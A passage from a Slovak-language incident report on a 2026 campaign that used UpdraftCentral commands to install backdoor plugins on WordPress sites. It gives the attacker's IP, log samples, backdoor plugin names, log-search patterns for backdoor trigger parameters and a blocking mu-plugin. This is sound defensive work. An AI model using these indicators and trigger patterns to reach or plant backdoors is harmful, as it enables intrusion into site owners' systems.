Ak sa budete v plugine k \u00fa\u010dtu znova prihlasova\u0165, od\u0161krtnite pol\u00ed\u010dko \u201eAdd this website to UpdraftCentral\u201c. V doteraz analyzovan\u00fdch vzork\u00e1ch z tejto kampane sme k\u00f3d, ktor\u00fd by toto heslo \u010d\u00edtal, nena\u0161li, pre\u010d\u00edta\u0165 ho v\u0161ak m\u00f4\u017ee ka\u017ed\u00fd funk\u010dn\u00fd backdoor alebo nahrat\u00fd plugin.<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp eval &#39;$o = get_option(&quot;updraftplus-addons_options&quot;); if (is_array($o)) { unset($o[&quot;password&quot;]); update_option(&quot;updraftplus-addons_options&quot;, $o); }&#39;<\/code><\/pre>\n<h3 id=\"overte-\u010di-na-webe-nie-je-backdoor\">2. Overte, \u010di na webe nie je backdoor<\/h3>\n<p>Bez pr\u00edkazov\u00e9ho riadka:<\/p>\n<ul>\n<li>Na tej istej obrazovke UpdraftCentral kliknite na \u201eView recent UpdraftCentral log events\u2026\u201c. H\u013eadajte riadky \u201eCommand received: plugin.upload_plugin\u201c, \u201eCommand received: plugin.delete_plugin\u201c a \u201eprobe.central.updraftplus.com\u201c. Ak je web za proxy, napr\u00edklad Cloudflare, log ukazuje IP adresu proxy, nie \u00fato\u010dn\u00edka. Riadky \u201eSignature verification failed; discarding\u201c znamenaj\u00fa, \u017ee \u00fato\u010dn\u00edk to sk\u00fa\u0161al, ale jeho k\u013e\u00fa\u010d k webu nesedel a web pr\u00edkaz zahodil.<\/li>\n<li>V zozname pluginov h\u013eadajte plugin, ktor\u00fd ste nein\u0161talovali. Prv\u00fd variant m\u00e1 popis \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c a n\u00e1zov z dvoch slov, v\u00e4\u010d\u0161inou s tromi znakmi navy\u0161e, napr\u00edklad \u201eLoad Stack 35C\u201c alebo \u201eQuery Shelf\u201c. \u010eal\u0161ie varianty maj\u00fa zaka\u017ed\u00fdm in\u00fd n\u00e1zov aj popis, napr\u00edklad \u201eBoost Kit\u201c, \u201eCache Smith\u201c alebo \u201eSite Health 364F\u201c. Niektor\u00e9 varianty sa v\u0161ak zo zoznamu pluginov skr\u00fdvaj\u00fa, tak\u017ee poh\u013ead do\u0148 nesta\u010d\u00ed.<\/li>\n<li>V zozname pou\u017e\u00edvate\u013eov h\u013eadajte \u00fa\u010det s menom \u201eSite Tools\u201c alebo s e-mailom na <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.org<\/code> \u010di <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.com<\/code>. Funk\u010dn\u00fd variant vytv\u00e1ra administr\u00e1tora, ktor\u00e9ho sa sna\u017e\u00ed skry\u0165, ale v zozname sa zobraz\u00ed norm\u00e1lne.<\/li>\n<li>Ak backdoor \u00fato\u010dn\u00edka prihl\u00e1si ako existuj\u00faceho administr\u00e1tora, \u017eiadny \u00fa\u010det nevytvor\u00ed. Vtedy ho prezrad\u00ed len plugin a access log, preto web skontrolujte aj skriptom a pozrite access log.<\/li>\n<\/ul>\n<p>Ak je na webe prv\u00fd variant backdooru, administr\u00e1cia nemus\u00ed fungova\u0165, lebo plugin zhadzuje ka\u017ed\u00fa po\u017eiadavku. Vtedy pou\u017eite pr\u00edkazov\u00fd riadok.<\/p>\n<p>S pr\u00edkazov\u00fdm riadkom ulo\u017ete n\u00e1\u0161 kontroln\u00fd skript z konca \u010dl\u00e1nku ako <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">check-updraftcentral.php<\/code> do kore\u0148ov\u00e9ho prie\u010dinka WordPressu a spustite:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp eval-file check-updraftcentral.php --skip-plugins --skip-themes<\/code><\/pre>\n<p>Skript ni\u010d nemen\u00ed, iba \u010d\u00edta. Prep\u00edna\u010d <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">--skip-plugins<\/code> je d\u00f4le\u017eit\u00fd, lebo nain\u0161talovan\u00fd backdoor inak zhod\u00ed aj WP-CLI. Riadky <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[ALERT]<\/code> znamenaj\u00fa stopy \u00fatoku, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[WARN]<\/code> vec na kontrolu a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[OK]<\/code> \u010dist\u00fd v\u00fdsledok. Z\u00e1znam o prijatom pr\u00edkaze e\u0161te neznamen\u00e1, \u017ee sa plugin nain\u0161taloval (na jednom z na\u0161ich webov nepre\u0161iel), preto skript kontroluje aj s\u00fabory, vo\u013eby v datab\u00e1ze a \u00fa\u010dty. Ak n\u00e1jde \u010doko\u013evek s <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[ALERT]<\/code>, pokra\u010dujte \u010das\u0165ou \u201e\u010co robi\u0165, ak ho n\u00e1jdete\u201c.<\/p>\n<p>UpdraftPlus si v logu UpdraftCentral pam\u00e4t\u00e1 iba posledn\u00fdch 50 udalost\u00ed. Na webe, kam \u010dasto chodia skenery, m\u00f4\u017ee z\u00e1znam o \u00fatoku z logu vypadn\u00fa\u0165 a skript potom pri logu hl\u00e1si <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[OK]<\/code>. Ak m\u00e1te pr\u00edstup k logom webov\u00e9ho servera, preh\u013eadajte aj ich (cestu upravte pod\u013ea servera, pri nginx napr\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">\/var\/log\/nginx\/<\/code>):<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">grep &#39;class-udrpc.php&quot;&#39; \/var\/log\/apache2\/*access*<\/code><\/pre>\n<p>Pr\u00edkaz n\u00e1jde po\u017eiadavky UpdraftCentral bez verzie kni\u017enice v hlavi\u010dke User-Agent, ak\u00e9 posielal \u00fato\u010dn\u00edk. Skuto\u010dn\u00fd dashboard posiela <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code>, tak\u017ee ho pr\u00edkaz nezachyt\u00ed.<\/p>\n<p>Funk\u010dn\u00fd variant backdooru nemus\u00ed v datab\u00e1ze zanecha\u0165 nijak\u00fa stopu: bez parametra <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m<\/code> prihl\u00e1si \u00fato\u010dn\u00edka ako existuj\u00faceho administr\u00e1tora. V access logu preto h\u013eadajte aj po\u017eiadavky na sp\u00fa\u0161\u0165a\u010de oboch variantov:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">zgrep -E &#39;[?&amp;](_[0-9a-f]{6}|[0-9a-f]{12})=[^&amp;&quot; ]{32}[&amp; ]&#39; \/var\/log\/apache2\/*access*<\/code><\/pre>\n<p>Ka\u017ed\u00fd n\u00e1jden\u00fd riadok preverte. Stav 302 znamen\u00e1 presmerovanie do administr\u00e1cie, teda pravdepodobne \u00faspe\u0161n\u00e9 prihl\u00e1senie \u00fato\u010dn\u00edka. Stav 500 znamen\u00e1, \u017ee na webe je e\u0161te pokazen\u00fd variant. Stav 200 s be\u017enou ve\u013ekos\u0165ou str\u00e1nky znamen\u00e1, \u017ee backdoor na webe u\u017e nie je. Pr\u00edkaz <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">zgrep<\/code> preh\u013ead\u00e1 aj star\u0161ie komprimovan\u00e9 logy.<\/p>\n<h3 id=\"volite\u013ene-zablokujte-pr\u00edkazy-updraftcentral-\u00faplne\">3. Volite\u013ene: zablokujte pr\u00edkazy UpdraftCentral \u00faplne<\/h3>\n<p>Ak chcete ma\u0165 istotu, \u017ee web nevykon\u00e1 \u017eiadny pr\u00edkaz UpdraftCentral ani vtedy, keby na \u0148om ostal k\u013e\u00fa\u010d, ulo\u017ete do prie\u010dinka <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/mu-plugins\/<\/code> s\u00fabor <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">block-updraftcentral.php<\/code> s t\u00fdmto obsahom:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">&lt;?php\n\/\/ Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.\nif ( isset( $_POST[&#39;udrpc_message&#39;] ) ) {\n\thttp_response_code( 403 );\n\texit;\n}<\/code><\/pre>\n<p>S\u00fabory v <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">mu-plugins<\/code> WordPress na\u010d\u00edta pred be\u017en\u00fdmi pluginmi, tak\u017ee po\u017eiadavka sa zastav\u00ed sk\u00f4r, ne\u017e ju UpdraftPlus spracuje. Blokuje aj migr\u00e1ciu webov cez UpdraftPlus Migrator, ktor\u00e1 pou\u017e\u00edva ten ist\u00fd kan\u00e1l. Ke\u010f v\u00fdrobca probl\u00e9m vysvetl\u00ed a vyrie\u0161i, s\u00fabor zma\u017ete.<\/p>\n<p>\u010eal\u0161ia lacn\u00e1 ochrana: ak PHP nem\u00f4\u017ee zapisova\u0165 do <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/plugins<\/code> (napr\u00edklad in\u00fd vlastn\u00edk prie\u010dinka a pr\u00e1va 750), web podp\u00edsan\u00fd pr\u00edkaz s\u00edce prijme, ale in\u0161tal\u00e1cia pluginu zlyh\u00e1. Na jednom z napadnut\u00fdch webov to \u00fatok zastavilo. Pluginy potom treba aktualizova\u0165 inak, napr\u00edklad cez WP-CLI pod vlastn\u00edkom prie\u010dinka.<\/p>\n<p>Ak pou\u017e\u00edvate Wordfence, obnovte pravidl\u00e1 firewallu (Wordfence \u2192 Firewall \u2192 All Firewall Options \u2192 Manually Refresh Rules). Wordfence vydal pravidlo, ktor\u00e9 blokuje pr\u00edkazy UpdraftCentral, aj pre bezplatn\u00fa verziu. Pravidlo v\u0161ak plat\u00ed len pre UpdraftPlus do 1.26.11 a pred 2.26.12, tak\u017ee web aktualizovan\u00fd na 1.26.12 \/ 2.26.12 u\u017e nechr\u00e1ni, hoci tieto verzie k\u013e\u00fa\u010de nezma\u017e\u00fa. Aktualizujte preto rovno na 1.26.13 \/ 2.26.13.<\/p>\n<h2 id=\"ako-sme-na-to-pri\u0161li\">Ako sme na to pri\u0161li<\/h2>\n<p>O 5:38 n\u00e1m pri\u0161iel automatick\u00fd e-mail WordPressu: \u201eWordPress caught an error with one of your plugins, Load Stack 35C.\u201c Plugin s tak\u00fdm n\u00e1zvom sme nikdy nein\u0161talovali. Chybov\u00e1 spr\u00e1va znela <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Uncaught Error: Undefined constant LoadStack35c::FIELD<\/code> a n\u00e1\u0161 web od 4:14 vracal na ka\u017ed\u00fa po\u017eiadavku chybu 500.<\/p>\n<p>Prie\u010dinok <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/plugins\/load-stack-35c\/<\/code> mal v\u0161etky s\u00fabory s rovnak\u00fdm \u010dasom z\u00e1pisu, 4:14:30. O sekundu nesk\u00f4r sa zmenil prie\u010dinok <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/upgrade\/<\/code>, ktor\u00fd WordPress pou\u017e\u00edva pri rozba\u013eovan\u00ed in\u0161talovan\u00fdch pluginov. Plugin teda pri\u0161iel cez \u0161tandardn\u00fd in\u0161tal\u00e1tor WordPressu, nie cez nahratie s\u00faboru na disk. V access logu presne v tej sekunde stoj\u00ed jedin\u00e1 po\u017eiadavka:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">43.250.53.42 - - [19\/Oct\/2026:04:14:30 +0200] &quot;POST \/ HTTP\/1.1&quot; 200 8454 &quot;-&quot; &quot;WordPress\/6.4; class-udrpc.php&quot;<\/code><\/pre>\n<p><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc.php<\/code> je kni\u017enica, cez ktor\u00fa UpdraftPlus prij\u00edma pr\u00edkazy z UpdraftCentral. Jej vlastn\u00fd log (vo\u013eba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">updraftcentral_client_log<\/code> v datab\u00e1ze) to potvrdil: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Command received: plugin.upload_plugin<\/code>.<\/p>\n<h2 id=\"\u010dasov\u00e1-os\">\u010casov\u00e1 os<\/h2>\n<p>Weby ozna\u010dujeme A, B a C. V\u0161etky \u010dasy s\u00fa v SEL\u010c. V\u0161etky po\u017eiadavky pri\u0161li z <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> (poskytovate\u013e RedSwitches) s hlavi\u010dkou User-Agent <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>.<\/p>\n<table>\n<thead>\n<tr class=\"header\">\n<th>Web<\/th>\n<th>Sonda<\/th>\n<th>In\u0161tal\u00e1cia pluginu<\/th>\n<th>V\u00fdsledok<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr class=\"odd\">\n<td>Web C<\/td>\n<td>19. 10. 0:41:32<\/td>\n<td>6:05:31<\/td>\n<td>zlyhala, k\u013e\u00fa\u010d patril pou\u017e\u00edvate\u013eovi bez pr\u00e1va in\u0161talova\u0165 pluginy<\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Web A<\/td>\n<td>2:14:05<\/td>\n<td>4:14:30<\/td>\n<td>backdoor \u201eLoad Stack 35C\u201c akt\u00edvny, web nedostupn\u00fd do 6:13<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Web B<\/td>\n<td>2:39:44<\/td>\n<td>6:53:49<\/td>\n<td>backdoor \u201eText Gantry Eb0\u201c akt\u00edvny, odstr\u00e1nen\u00fd o 6:56<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Sonda je spr\u00e1va adresovan\u00e1 neexistuj\u00facemu k\u013e\u00fa\u010du <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">probe.central.updraftplus.com<\/code>. Web na \u0148u odpovie, \u017ee spr\u00e1ve nerozumie, a t\u00fdm prezrad\u00ed, \u017ee prij\u00edma pr\u00edkazy UpdraftCentral. Nasleduj\u00faci pr\u00edkaz u\u017e \u00fato\u010dn\u00edk poslal na skuto\u010dn\u00fd k\u013e\u00fa\u010d <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0.central.updraftplus.com<\/code>. Na v\u0161etk\u00fdch troch weboch prebehol \u00fatok rovnako, od toho ist\u00e9ho \u00fato\u010dn\u00edka, s odstupom nieko\u013ek\u00fdch hod\u00edn.<\/p>\n<p>In\u00fd spr\u00e1vca n\u00e1m poslal z\u00e1znamy, pod\u013ea ktor\u00fdch t\u00e1 ist\u00e1 IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> sk\u00fa\u0161ala na dvoch z jeho webov u\u017e 23. septembra 2026 in\u00e9 \u00fatoky: dotaz na REST API so zoznamom str\u00e1nok a asi desa\u0165 pokusov o path traversal v parametri <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pagename<\/code>. \u00dato\u010dn\u00edk teda tieto weby sk\u00famal takmer mesiac pred \u00fatokom cez UpdraftCentral.<\/p>\n<p>\u00dato\u010dn\u00edk sa k webom vracal. 19. okt\u00f3bra poslal \u010fal\u0161ie po\u017eiadavky UpdraftCentral na web A o 10:57:48, na web B o 11:14:19 a na web C o 12:03:14, v\u017edy dve v tej istej sekunde, a na web C e\u0161te jednu o 20:27:50. V\u0161etky u\u017e zastavil n\u00e1\u0161 mu-plugin s odpove\u010fou 403, tak\u017ee nevieme, \u010do obsahovali. In\u00fd spr\u00e1vca n\u00e1m poslal log UpdraftCentral, pod\u013ea ktor\u00e9ho \u00fato\u010dn\u00edk o 12:22:48 poslal <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.delete_plugin<\/code> a o 12:22:50 nov\u00fd <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code>, \u010d\u00edm pokazen\u00fd backdoor nahradil in\u00fdm. Na\u0161e dvojice po\u017eiadaviek pravdepodobne patria k rovnakej v\u00fdmene. UpdraftPlus zap\u00ed\u0161e ka\u017ed\u00fd pr\u00edkaz, ktor\u00fd prejde overen\u00edm podpisu, do logu UpdraftCentral ako \u201eCommand received\u201c e\u0161te pred vykonan\u00edm (overili sme v k\u00f3de verzie 2.26.11). Log v\u0161ak dr\u017e\u00ed len posledn\u00fdch 50 udalost\u00ed a po\u017eiadavky zastaven\u00e9 mu-pluginom v \u0148om nie s\u00fa.<\/p>\n<p>Na webe \u010fal\u0161ieho spr\u00e1vcu poslal \u00fato\u010dn\u00edk sondu 18. 10. o 23:10:30 SEL\u010c a potom nahral tri r\u00f4zne backdoory: o 23:39:52 minim\u00e1lny skryt\u00fd \u201eSite Health Cache\u201c, o 0:34:34 funk\u010dn\u00fd \u201eFast2engine\u201c a 19. 10. o 9:28:47 pokazen\u00fd \u201ePost Dock 776\u201c. Dvojica po\u017eiadaviek o 11:40:45 a 11:40:46 tam skon\u010dila chybou 500, lebo pokazen\u00fd backdoor u\u017e zhadzoval cel\u00fd web. \u00dato\u010dn\u00edk teda neposiela v\u017edy najprv pokazen\u00fd variant a na jeden web ich m\u00f4\u017ee nahra\u0165 viac.<\/p>\n<h2 id=\"ako-\u00fatok-prebehol\">Ako \u00fatok prebehol<\/h2>\n<p>Pri pripojen\u00ed webu k UpdraftCentral si web vygeneruje p\u00e1r k\u013e\u00fa\u010dov RSA a verejn\u00fd k\u013e\u00fa\u010d po\u0161le slu\u017ebe UpdraftCentral Cloud. Slu\u017eba m\u00e1 vlastn\u00fd p\u00e1r k\u013e\u00fa\u010dov a webu po\u0161le iba svoj verejn\u00fd k\u013e\u00fa\u010d. S\u00fakromn\u00fd k\u013e\u00fa\u010d dashboardu ost\u00e1va u slu\u017eby. Ka\u017ed\u00fd pr\u00edkaz mus\u00ed by\u0165 za\u0161ifrovan\u00fd pre k\u013e\u00fa\u010d webu a podp\u00edsan\u00fd s\u00fakromn\u00fdm k\u013e\u00fa\u010dom dashboardu. Web ho potom vykon\u00e1 s pr\u00e1vami pou\u017e\u00edvate\u013ea, ktor\u00fd k\u013e\u00fa\u010d vo WordPresse vytvoril.<\/p>\n<p>Pr\u00edkaz <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> pre\u0161iel na dvoch weboch celou touto kontrolou. Podrobne sme to rozobrali na webe A a vyl\u00fa\u010dili sme tieto vysvetlenia:<\/p>\n<ol type=\"1\">\n<li><strong>Zn\u00e1ma zranite\u013enos\u0165 CVE-2026-10795.<\/strong> T\u00fdka sa verzi\u00ed UpdraftPlus do 1.26.4 (pr\u00e9miov\u00e1 do 2.26.4). Na\u0161e weby mali 2.26.11. Pokusy o jej zneu\u017eitie vid\u00edme na weboch B a C v logoch od j\u00fana z desiatok IP adries a v\u0161etky skon\u010dili hl\u00e1\u0161kou \u201eCould not decrypt incoming message\u201c.<\/li>\n<li><strong>Upraven\u00fd plugin.<\/strong> S\u00fabory <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc2.php<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/bootstrap.php<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/listener.php<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/host.php<\/code> s\u00fa bajt po bajte zhodn\u00e9 s ofici\u00e1lnou verziou 1.26.11 z wordpress.org.<\/li>\n<li><strong>Star\u0161\u00ed form\u00e1t spr\u00e1v bez podpisu.<\/strong> K\u00f3d ho pre k\u013e\u00fa\u010de UpdraftCentral odmieta a z\u00e1znam \u201eCommand received\u201c vznik\u00e1 a\u017e po tejto kontrole.<\/li>\n<li><strong>Podvrhnut\u00fd k\u013e\u00fa\u010d dashboardu.<\/strong> Odtla\u010dky k\u013e\u00fa\u010dov s\u00fa rovnak\u00e9 v denn\u00fdch z\u00e1loh\u00e1ch z 15. a\u017e 18. okt\u00f3bra aj v \u017eivej datab\u00e1ze a v access logoch nikto nevolal funkciu na v\u00fdmenu k\u013e\u00fa\u010da.<\/li>\n<li><strong>Slab\u00e1 kryptografia.<\/strong> K\u013e\u00fa\u010d webu aj dashboardu maj\u00fa RSA 2048 bitov s exponentom 65537 a UpdraftPlus obsahuje phpseclib 2.0.55, v ktorej je opraven\u00e1 zn\u00e1ma chyba v overovan\u00ed podpisov.<\/li>\n<li><strong>Napadnut\u00fd wp-admin.<\/strong> Nezn\u00e1mi administr\u00e1tori nepribudli, kontroln\u00e9 s\u00fa\u010dty jadra aj pluginov sedia a v logoch nie je \u017eiadne nahratie pluginu cez administr\u00e1ciu.<\/li>\n<\/ol>\n<p>\u00dato\u010dn\u00edk teda mal s\u00fakromn\u00e9 k\u013e\u00fa\u010de dashboardu pre v\u0161etky tri spojenia naraz. Na na\u0161ich serveroch tieto k\u013e\u00fa\u010de nikdy neboli, tak\u017ee odtia\u013e unikn\u00fa\u0165 nemohli. Pr\u00edkazy pritom nepri\u0161li zo servera TeamUpdraft. Skuto\u010dn\u00fd dashboard posielal na web B v marci a apr\u00edli 2026 pr\u00edkazy s hlavi\u010dkou User-Agent:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">WordPress\/6.8.5; class-udrpc.php\/2.0; 